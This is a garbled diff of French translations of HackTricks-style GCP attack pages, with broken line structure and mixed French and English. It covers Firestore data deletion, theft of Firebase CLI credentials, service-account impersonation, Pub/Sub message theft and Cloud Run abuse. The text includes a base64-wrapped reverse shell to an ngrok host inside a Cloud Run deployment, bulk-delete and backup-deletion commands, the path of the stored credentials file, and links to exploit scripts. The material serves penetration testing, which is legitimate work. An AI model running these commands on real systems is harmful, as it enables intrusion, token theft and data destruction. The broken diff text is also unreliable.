gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'
|
||||
```
|
||||
Pour importer des données malveillantes :
|
||||
```bash
|
||||
gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'
|
||||
```
|
||||
Pour effectuer une suppression massive de données et provoquer un déni de service, l'attaquant pourrait utiliser l'outil gcloud Firestore bulk-delete pour supprimer des collections entières.
|
||||
```bash
|
||||
gcloud firestore bulk-delete \
|
||||
--collection-ids=users,posts,messages \
|
||||
--database='(default)' \
|
||||
--project=<project-id>
|
||||
```
|
||||
Pour les opérations de sauvegarde et de restauration, l'attaquant pourrait créer des sauvegardes planifiées pour capturer l'état actuel de la base de données, lister les sauvegardes existantes, restaurer depuis une sauvegarde pour écraser les modifications récentes, supprimer des sauvegardes pour provoquer une perte de données permanente, et supprimer les sauvegardes planifiées.
|
||||
Pour créer une planification de sauvegarde quotidienne qui génère immédiatement une sauvegarde :
|
||||
```bash
|
||||
gcloud firestore backups schedules create \
|
||||
--database='(default)' \
|
||||
--recurrence=daily \
|
||||
--retention=14w \
|
||||
--project=<project-id>
|
||||
```
|
||||
Pour effectuer un restore à partir d'un backup spécifique, l'attaquant pourrait créer une nouvelle database en utilisant les données contenues dans ce backup. L'opération de restore écrit les données du backup dans une nouvelle database, ce qui signifie qu'un DATABASE_ID existant ne peut pas être utilisé.
|
||||
```bash
|
||||
gcloud firestore databases restore \
|
||||
--source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
|
||||
--destination-database='<new-database-id>' \
|
||||
--project=<project-id>
|
||||
```
|
||||
Pour supprimer une sauvegarde et provoquer une perte de données permanente :
|
||||
```bash
|
||||
gcloud firestore backups delete \
|
||||
--backup=<backup-id> \
|
||||
--project=<project-id>
|
||||
```
|
||||
### Vol et mauvaise utilisation des Firebase CLI credentials
|
||||
Un attaquant n'a pas besoin d'autorisations Firebase spécifiques pour réaliser cette attaque, mais il doit avoir accès au système local du développeur ou au fichier de Firebase CLI credentials. Ces credentials sont stockés dans un fichier JSON situé à :
|
||||
|
||||
- Linux/macOS: ~/.config/configstore/firebase-tools.json
|
||||
|
||||
- Windows: C:\Users\[User]\.config\configstore\firebase-tools.json
|
||||
|
||||
Ce fichier contient des tokens d'authentification, incluant le refresh_token et l'access_token, qui permettent à l'attaquant de s'authentifier en tant qu'utilisateur ayant exécuté firebase login à l'origine.
|
||||
|
||||
L'attaquant obtient l'accès au fichier de Firebase CLI credentials. Il peut ensuite copier le fichier entier sur son propre système, et le Firebase CLI utilisera automatiquement les credentials depuis son emplacement par défaut. Après cela, l'attaquant peut consulter tous les projets Firebase accessibles à cet utilisateur.
|
||||
```bash
|
||||
firebase projects:list
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
Plus d'informations sur IAM dans :
|
||||
Trouvez plus d'informations sur IAM dans:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
@@ -12,54 +12,51 @@ Plus d'informations sur IAM dans :
|
||||
|
||||
### `iam.roles.update` (`iam.roles.get`)
|
||||
|
||||
Un attaquant disposant des autorisations mentionnées pourra mettre à jour un rôle qui vous est assigné et vous accorder des autorisations supplémentaires sur d'autres ressources, par exemple :
|
||||
|
||||
<details><summary>Mettre à jour un rôle IAM pour ajouter des autorisations</summary>
|
||||
Un attaquant disposant des permissions mentionnées pourra mettre à jour un rôle qui vous est assigné et vous accorder des permissions supplémentaires sur d'autres ressources telles que :
|
||||
```bash
|
||||
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
|
||||
```
|
||||
</details>
|
||||
|
||||
Vous pouvez trouver un script pour automatiser la **creation, exploit and cleaning of a vuln environment here** et un script python pour abuser de ce privilège [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Pour plus d'informations, consultez la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
Vous pouvez trouver un script pour automatiser la **création, l'exploitation et le nettoyage d'un environnement vulnérable ici** et un script python pour abuser de ce privilège [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Pour plus d'informations, consultez la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
```bash
|
||||
gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>
|
||||
```
|
||||
### `iam.roles.create` & `iam.serviceAccounts.setIamPolicy`
|
||||
La permission iam.roles.create permet la création de rôles personnalisés dans un projet/organisation. Entre les mains d'un attaquant, c'est dangereux car elle lui permet de définir de nouveaux ensembles d'autorisations qui peuvent ensuite être attribués à des entités (par exemple, en utilisant la permission iam.serviceAccounts.setIamPolicy) dans le but d'escalader les privilèges.
|
||||
```bash
|
||||
gcloud iam roles create <ROLE_ID> \
|
||||
--project=<PROJECT_ID> \
|
||||
--title="<Title>" \
|
||||
--description="<Description>" \
|
||||
--permissions="permission1,permission2,permission3"
|
||||
```
|
||||
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
|
||||
|
||||
Un attaquant disposant des permissions mentionnées pourra **request an access token that belongs to a Service Account**, il est donc possible de demander un access token d'un Service Account ayant plus de privilèges que le nôtre.
|
||||
|
||||
<details><summary>Usurper un Service Account pour obtenir un access token</summary>
|
||||
Un attaquant disposant des permissions mentionnées pourra **demander un access token appartenant à un Service Account**, il est donc possible d'obtenir un access token d'un Service Account ayant des privilèges supérieurs aux nôtres.
|
||||
```bash
|
||||
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
auth print-access-token
|
||||
```
|
||||
</details>
|
||||
|
||||
Vous pouvez trouver un script pour automatiser la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) et un script python pour abuser de ce privilège [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Pour plus d'informations, consultez la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccountKeys.create`
|
||||
|
||||
Un attaquant disposant des permissions mentionnées pourra **create a user-managed key for a Service Account**, ce qui nous permettra d'accéder à GCP en tant que ce Service Account.
|
||||
|
||||
<details><summary>Create service account key and authenticate</summary>
|
||||
Un attaquant disposant des permissions mentionnées pourra **créer une clé gérée par l'utilisateur pour un compte de service**, ce qui nous permettra d'accéder à GCP en tant que ce compte de service.
|
||||
```bash
|
||||
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
|
||||
|
||||
gcloud auth activate-service-account --key-file=sa_cred.json
|
||||
```
|
||||
</details>
|
||||
Vous pouvez trouver un script pour automatiser la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) et un script python pour abuser de ce privilège [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Pour plus d'informations, consultez la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
Vous pouvez trouver un script pour automatiser la [**création, exploitation et nettoyage d'un environnement vulnérable ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) et un script python pour abuser de ce privilège [**ici**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Pour plus d'informations, consultez la [**recherche originale**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
Notez que **`iam.serviceAccountKeys.update` won't work to modify the key** d'un SA car pour cela la permission `iam.serviceAccountKeys.create` est également nécessaire.
|
||||
Notez que **`iam.serviceAccountKeys.update` ne fonctionnera pas pour modifier la clé** d'un SA car pour cela la permission `iam.serviceAccountKeys.create` est également nécessaire.
|
||||
|
||||
### `iam.serviceAccounts.implicitDelegation`
|
||||
|
||||
Si vous avez la permission **`iam.serviceAccounts.implicitDelegation`** sur un Service Account qui possède la permission **`iam.serviceAccounts.getAccessToken`** sur un troisième Service Account, alors vous pouvez utiliser implicitDelegation pour **créer un token pour ce troisième Service Account**. Voici un diagramme pour expliquer.
|
||||
Si vous avez la permission **`iam.serviceAccounts.implicitDelegation`** sur un Service Account qui dispose de la permission **`iam.serviceAccounts.getAccessToken`** sur un troisième Service Account, alors vous pouvez utiliser implicitDelegation pour **créer un token pour ce troisième Service Account**. Voici un diagramme pour aider à expliquer.
|
||||
|
||||

|
||||
|
||||
Notez que, d'après la [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), la délégation de `gcloud` ne fonctionne que pour générer un token en utilisant la méthode [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Voici donc comment obtenir un token en utilisant l'API directement :
|
||||
|
||||
<details><summary>Générer un jeton d'accès avec délégation en utilisant l'API</summary>
|
||||
Notez que selon la [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), la délégation de `gcloud` ne fonctionne que pour générer un token en utilisant la méthode [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Voici donc comment obtenir un token en utilisant l'API directement :
|
||||
```bash
|
||||
curl -X POST \
|
||||
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
|
||||
@@ -70,27 +67,23 @@ curl -X POST \
|
||||
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
|
||||
}'
|
||||
```
|
||||
</details>
|
||||
|
||||
Vous pouvez trouver un script pour automatiser la [**création, exploit et nettoyage d'un environnement vulnérable ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) et un script python pour abuser de ce privilège [**ici**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Pour plus d'informations, consultez la [**recherche originale**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
Vous pouvez trouver un script pour automatiser la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) et un script python pour abuser de ce privilège [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Pour plus d'informations, consultez la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.signBlob`
|
||||
|
||||
Un attaquant disposant des permissions mentionnées pourra **signer des payloads arbitraires dans GCP**. Il sera donc possible de **créer un JWT non signé du SA puis de l'envoyer en tant que blob pour que le JWT soit signé** par le SA que nous ciblons. Pour plus d'informations [**lisez ceci**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
|
||||
Un attaquant disposant des permissions mentionnées pourra **signer des payloads arbitraires dans GCP**. Il sera donc possible de **créer un JWT non signé du SA puis de l'envoyer en tant que blob pour que le JWT soit signé** par le SA ciblé. Pour plus d'informations [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
|
||||
|
||||
Vous pouvez trouver un script pour automatiser la [**création, exploit et nettoyage d'un environnement vulnérable ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) et un script python pour abuser de ce privilège [**ici**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) et [**ici**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Pour plus d'informations, consultez la [**recherche originale**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
Vous pouvez trouver un script pour automatiser la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) et un script python pour abuser de ce privilège [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) et [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Pour plus d'informations, consultez la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.signJwt`
|
||||
|
||||
Un attaquant disposant des permissions mentionnées pourra **signer des JSON web tokens bien formés (JWTs)**. La différence avec la méthode précédente est que **au lieu de faire en sorte que google signe un blob contenant un JWT, nous utilisons la méthode signJWT qui attend déjà un JWT**. Cela la rend plus facile à utiliser mais vous pouvez uniquement signer des JWT au lieu de n'importe quels octets.
|
||||
Un attaquant disposant des permissions mentionnées pourra **signer des JSON Web Tokens (JWTs) bien formés**. La différence avec la méthode précédente est que **au lieu de faire signer par google un blob contenant un JWT, nous utilisons la méthode signJWT qui attend déjà un JWT**. Cela la rend plus facile à utiliser, mais vous pouvez seulement signer des JWT au lieu de n'importe quels octets.
|
||||
|
||||
Vous pouvez trouver un script pour automatiser la [**création, exploit et nettoyage d'un environnement vulnérable ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) et un script python pour abuser de ce privilège [**ici**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Pour plus d'informations, consultez la [**recherche originale**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
Vous pouvez trouver un script pour automatiser la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) et un script python pour abuser de ce privilège [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Pour plus d'informations, consultez la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
|
||||
|
||||
Un attaquant disposant des permissions mentionnées pourra **ajouter des IAM policies aux service accounts**. Vous pouvez en abuser pour **vous accorder** les permissions nécessaires pour usurper le service account. Dans l'exemple suivant nous nous accordons le rôle `roles/iam.serviceAccountTokenCreator` sur le SA intéressant :
|
||||
|
||||
<details><summary>Ajouter un IAM policy binding au service account</summary>
|
||||
Un attaquant disposant des permissions mentionnées pourra **ajouter des politiques IAM aux comptes de service**. Vous pouvez en abuser pour **vous accorder** les autorisations nécessaires pour vous faire passer pour le compte de service. Dans l'exemple suivant, nous nous accordons le rôle `roles/iam.serviceAccountTokenCreator` sur le SA intéressant :
|
||||
```bash
|
||||
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
--member="user:username@domain.com" \
|
||||
@@ -101,55 +94,45 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
|
||||
--member="user:username@domain.com" \
|
||||
--role="roles/iam.serviceAccountUser"
|
||||
```
|
||||
</details>
|
||||
|
||||
Vous pouvez trouver un script pour automatiser la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
|
||||
Vous pouvez trouver un script pour automatiser la [**création, exploitation et nettoyage d'un environnement vulnérable ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
|
||||
|
||||
### `iam.serviceAccounts.actAs`
|
||||
|
||||
La permission **iam.serviceAccounts.actAs** est similaire à la permission **iam:PassRole** d'AWS. Elle est essentielle pour exécuter des tâches, comme démarrer une instance Compute Engine, car elle permet de « actAs » un compte de service, garantissant une gestion sécurisée des permissions. Sans elle, des utilisateurs pourraient obtenir un accès indu. De plus, exploiter **iam.serviceAccounts.actAs** implique diverses méthodes, chacune nécessitant un ensemble de permissions, contrairement à d'autres méthodes qui n'en requièrent qu'une seule.
|
||||
La **iam.serviceAccounts.actAs permission** est similaire à la **iam:PassRole permission from AWS**. Elle est essentielle pour exécuter des tâches, comme démarrer une instance Compute Engine, car elle accorde la capacité de "actAs" un Service Account, garantissant une gestion sécurisée des permissions. Sans cela, des utilisateurs pourraient obtenir un accès indu. De plus, exploiter la **iam.serviceAccounts.actAs** implique diverses méthodes, chacune nécessitant un ensemble de permissions, contrairement à d'autres méthodes qui n'en nécessitent qu'une seule.
|
||||
|
||||
#### Usurpation de compte de service <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
#### Service account impersonation <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
|
||||
L'usurpation d'un compte de service peut être très utile pour **obtenir de nouveaux privilèges ou des privilèges supérieurs**. Il existe trois manières de [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
|
||||
Impersonating a service account can be very useful to **obtain new and better privileges**. Il existe trois façons dont vous pouvez [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
|
||||
|
||||
- Authentification **using RSA private keys** (déjà couvert ci‑dessus)
|
||||
- Autorisation **using Cloud IAM policies** (traité ici)
|
||||
- Authentication **using RSA private keys** (traité ci‑dessus)
|
||||
- Authorization **using Cloud IAM policies** (traité ici)
|
||||
- **Deploying jobs on GCP services** (plus applicable à la compromission d'un compte utilisateur)
|
||||
|
||||
### `iam.serviceAccounts.getOpenIdToken`
|
||||
|
||||
Un attaquant disposant des permissions mentionnées pourra générer un OpenID JWT. Ceux-ci sont utilisés pour affirmer une identité et n'apportent pas nécessairement d'autorisation implicite sur une ressource.
|
||||
Un attaquant disposant des permissions mentionnées pourra générer un OpenID JWT. Ceux-ci servent à affirmer une identité et n'accordent pas nécessairement d'autorisation implicite sur une ressource.
|
||||
|
||||
Selon ce [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), il est nécessaire d'indiquer l'audience (le service auprès duquel vous souhaitez utiliser le token pour vous authentifier) et vous recevrez un JWT signé par google indiquant le compte de service et l'audience du JWT.
|
||||
Selon cet [**article intéressant**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), il est nécessaire d'indiquer l'audience (le service auprès duquel vous souhaitez utiliser le token pour vous authentifier) et vous recevrez un JWT signé par google indiquant le service account et l'audience du JWT.
|
||||
|
||||
Vous pouvez générer un OpenIDToken (si vous avez l'accès) avec :
|
||||
|
||||
<details><summary>Générer un OpenID token pour un compte de service</summary>
|
||||
Vous pouvez générer un OpenIDToken (si vous y avez accès) avec:
|
||||
```bash
|
||||
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
|
||||
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
|
||||
# Then, generate token
|
||||
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
|
||||
```
|
||||
</details>
|
||||
|
||||
Ensuite, vous pouvez simplement l'utiliser pour accéder au service avec :
|
||||
|
||||
<details><summary>Utiliser un token OpenID pour s'authentifier</summary>
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
|
||||
```
|
||||
</details>
|
||||
|
||||
Quelques services qui prennent en charge l'authentification via ce type de tokens sont :
|
||||
Certains services qui prennent en charge l'authentification via ce type de jetons sont :
|
||||
|
||||
- [Google Cloud Run](https://cloud.google.com/run/)
|
||||
- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
|
||||
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
|
||||
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (si vous utilisez Google OIDC)
|
||||
|
||||
Vous pouvez trouver un exemple montrant comment créer un OpenID token au nom d'un service account [**ici**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
|
||||
Vous pouvez trouver un exemple montrant comment créer un token OpenID au nom d'un compte de service [**ici**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
|
||||
|
||||
## Références
|
||||
|
||||
|
||||
@@ -4,34 +4,67 @@
|
||||
|
||||
## PubSub
|
||||
|
||||
Obtenez plus d'informations dans :
|
||||
Plus d'informations :
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-pub-sub.md
|
||||
{{#endref}}
|
||||
|
||||
### `pubsub.snapshots.create`
|
||||
|
||||
Les instantanés des sujets **contiennent les messages non accusés de réception actuels et chaque message après**. Vous pourriez créer un instantané d'un sujet pour **accéder à tous les messages**, **éviter d'accéder au sujet directement**.
|
||||
### `pubsub.snapshots.create` (`pubsub.topics.attachSubscription`)
|
||||
|
||||
Les snapshots de topics **contiennent les messages unACKed actuels et tous les messages suivants**. Vous pouvez créer un snapshot d'un topic pour **accéder à tous les messages**, **sans avoir à accéder directement au topic**.
|
||||
```bash
|
||||
gcloud pubsub subscriptions create <subscription_name> --topic <topic_name> --push-endpoint https://<URL_to_push_to>
|
||||
```
|
||||
### **`pubsub.snapshots.setIamPolicy`**
|
||||
|
||||
Attribuez les autorisations précédentes à vous.
|
||||
S'attribuer les permissions précédentes.
|
||||
|
||||
### `pubsub.subscriptions.create`
|
||||
|
||||
Vous pouvez créer une souscription push dans un sujet qui enverra tous les messages reçus à l'URL indiquée.
|
||||
Vous pouvez créer une push subscription sur un topic qui enverra tous les messages reçus vers l'URL indiquée
|
||||
|
||||
### **`pubsub.subscriptions.update`**
|
||||
|
||||
Définissez votre propre URL comme point de terminaison push pour voler les messages.
|
||||
Définir votre propre URL comme push endpoint pour voler les messages.
|
||||
|
||||
### `pubsub.subscriptions.consume`
|
||||
|
||||
Accédez aux messages en utilisant la souscription.
|
||||
|
||||
Accéder aux messages en utilisant la subscription.
|
||||
```bash
|
||||
gcloud pubsub subscriptions pull <SUSCRIPTION> \
|
||||
--limit=50 \
|
||||
--format="json" \
|
||||
--project=<PROJECTID>
|
||||
```
|
||||
### `pubsub.subscriptions.setIamPolicy`
|
||||
|
||||
Donnez-vous l'une des autorisations précédentes.
|
||||
Accordez-vous n'importe laquelle des autorisations précédentes
|
||||
```bash
|
||||
# Add Binding
|
||||
gcloud pubsub subscriptions add-iam-policy-binding <SUSCRIPTION_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="<ROLE_OR_CUSTOM_ROLE>" \
|
||||
--project="<PROJECT_ID>"
|
||||
|
||||
# Remove Binding
|
||||
gcloud pubsub subscriptions remove-iam-policy-binding <SUSCRIPTION_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="<ROLE_OR_CUSTOM_ROLE>" \
|
||||
--project="<PROJECT_ID>"
|
||||
|
||||
# Change Policy
|
||||
gcloud pubsub subscriptions set-iam-policy <SUSCRIPTION_NAME> \
|
||||
<(echo '{
|
||||
"bindings": [
|
||||
{
|
||||
"role": "<ROLE_OR_CUSTOM_ROLE>",
|
||||
"members": [
|
||||
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
|
||||
]
|
||||
}
|
||||
]
|
||||
}') \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Run
|
||||
|
||||
Pour plus d'informations sur Cloud Run, voir :
|
||||
For more information about Cloud Run check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-run-enum.md
|
||||
@@ -12,18 +12,15 @@ Pour plus d'informations sur Cloud Run, voir :
|
||||
|
||||
### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**
|
||||
|
||||
Un attaquant disposant de ces permissions peut **créer un service Run exécutant du code arbitraire** (un conteneur Docker arbitraire), lui associer un Service Account, et faire en sorte que le code **exfiltre le Service Account token depuis les metadata**.
|
||||
Un attaquant disposant de ces permissions peut **créer un service Cloud Run exécutant du code arbitraire** (conteneur Docker arbitraire), lui associer un Service Account, et faire en sorte que le code **exfiltrate le Service Account token from the metadata**.
|
||||
|
||||
Un script d'exploitation pour cette méthode est disponible [ici](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) et l'image Docker se trouve [ici](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
|
||||
An exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) and the Docker image can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
|
||||
|
||||
Notez que lors de l'utilisation de `gcloud run deploy` au lieu de simplement créer le service, **la permission `update` est requise**. Consultez un [**exemple ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
|
||||
Note that when using `gcloud run deploy` instead of just creating the service **it needs the `update` permission**. Check an [**example here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
|
||||
|
||||
### `run.services.update` , `iam.serviceAccounts.actAs`
|
||||
|
||||
Comme le précédent, mais en mettant à jour un service :
|
||||
|
||||
<details>
|
||||
<summary>Deploy Cloud Run service with reverse shell</summary>
|
||||
Like the previous one but updating a service:
|
||||
```bash
|
||||
# Launch some web server to listen in port 80 so the service works
|
||||
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
|
||||
@@ -39,18 +36,29 @@ gcloud run deploy hacked \
|
||||
|
||||
# If you don't have permissions to use "--allow-unauthenticated", dont use it
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.services.setIamPolicy`
|
||||
|
||||
Attribuez-vous des permissions privilégiées sur Cloud Run.
|
||||
Donnez-vous des autorisations préalables sur cloud Run.
|
||||
```bash
|
||||
# Change policy
|
||||
gcloud run services set-iam-policy <SERVICE_NAME> <POLICY_FILE>.json \
|
||||
--region=us-central1
|
||||
|
||||
# Add binding
|
||||
gcloud run services add-iam-policy-binding <SERVICE_NAME> \
|
||||
--member="allUsers" \
|
||||
--role="roles/run.invoker" \
|
||||
--region=us-central1
|
||||
|
||||
# Remove binding
|
||||
gcloud run services remove-iam-policy-binding <SERVICE_NAME> \
|
||||
--member="allUsers" \
|
||||
--role="roles/run.invoker" \
|
||||
--region=us-central1
|
||||
```
|
||||
### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
Lancez un job avec un reverse shell pour voler le service account indiqué dans la commande. Vous pouvez trouver un [**exploit ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
|
||||
|
||||
<details>
|
||||
<summary>Créer un job Cloud Run avec un reverse shell</summary>
|
||||
Lancez un job avec un reverse shell pour voler le service account indiqué dans la commande. Vous pouvez trouver un [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
|
||||
```bash
|
||||
gcloud beta run jobs create jab-cloudrun-3326 \
|
||||
--image=ubuntu:latest \
|
||||
@@ -60,14 +68,9 @@ gcloud beta run jobs create jab-cloudrun-3326 \
|
||||
--region=us-central1
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
Comme pour le précédent, il est possible de **mettre à jour un job, modifier le SA et la commande, puis l'exécuter** :
|
||||
|
||||
<details>
|
||||
<summary>Update Cloud Run job and execute with reverse shell</summary>
|
||||
Similaire au précédent, il est possible de **mettre à jour un job et mettre à jour le SA**, la **commande** et de l'**exécuter** :
|
||||
```bash
|
||||
gcloud beta run jobs update hacked \
|
||||
--image=mubuntu:latest \
|
||||
@@ -77,23 +80,32 @@ gcloud beta run jobs update hacked \
|
||||
--region=us-central1 \
|
||||
--execute-now
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.jobs.setIamPolicy`
|
||||
|
||||
Donnez-vous les autorisations précédentes sur Cloud Jobs.
|
||||
```bash
|
||||
# Change policy
|
||||
